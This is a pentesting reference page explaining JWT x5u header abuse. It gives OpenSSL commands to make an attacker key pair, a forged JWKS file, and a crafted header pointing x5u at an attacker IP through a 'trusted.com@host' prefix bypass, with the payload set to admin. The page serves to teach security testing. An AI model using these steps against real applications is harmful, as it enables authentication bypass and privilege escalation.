Skip to main content

x5u-header-abuse

x5u Header Abuse

Misuse of the x5u (X.509 URL) header in JWT can allow an attacker to forge valid tokens and escalate privileges (e.g., become admin). JWT supports referencing a certificate or key material via a URL in the header (x5u).

warning

If the application blindly trusts this URL, authentication can be bypassed.

What is x5u?

x5u is a JWT header parameter. It points to a remote resource containing an X.509 certificate or key material (often structured similarly to a JWKS file). The application downloads the public key from this URL to verify the token signature.

Example JWT header:

{
"alg": "RS256",
"typ": "JWT",
"x5u": "https://example.com/jwks.json"
}

Root Cause

The application:

  • Accepts an x5u URL from the token.
  • Fetches the public key or certificate from that URL.
  • Uses it to verify the JWT signature.
info

If validation is in place and only checks whether the URL starts with a trusted domain (instead of strictly validating the hostname), the restriction can be bypassed. Using https://trusted.com@attacker-ip/jwks.json

Attack Flow

To exploit this issue, we can following steps:

  1. Generate your own RSA key pair (for example, using jwt_tool, OpenSSL or BurpSuite) like so:
openssl req -newkey rsa:2048 -nodes -keyout private.pem -x509 -days 365 -out hacker.crt -subj "/C=AU/ST=Victoria/L=Melbourne/O=PentesterLab/CN=hacker"
  1. Then convert it to DER and base64 encode it:
openssl x509 -in hacker.crt -outform der | base64 -w 0
  1. Create a JWK/JWKS file containing your public key and paste x5c value (from step 2):
{
"keys": [
{
"kty": "RSA",
"use": "sig",
"kid": "rezydev",
"x5c": "<BASE64_CERTIFICATE_PEM>",
"alg": "RS256"
}
]
}
  1. Host this JWKS file on a server we control.
  2. Change JWT Header with following values:
{
"typ": "JWT",
"alg": "RS256",
"x5u": "http://example.com@129.154.241.42:5959/jwks.json"
}
  1. Change payload (e.g., "role": "admin" or set "username": "admin") and then sign the token with generated private key.
  2. Application verifies using your public key → access granted.
info

If the application caches the JWK response, changing the key requires modifying the URL (for example, adding a query parameter) or changing file name from jwks.json to jwks1.json and so on..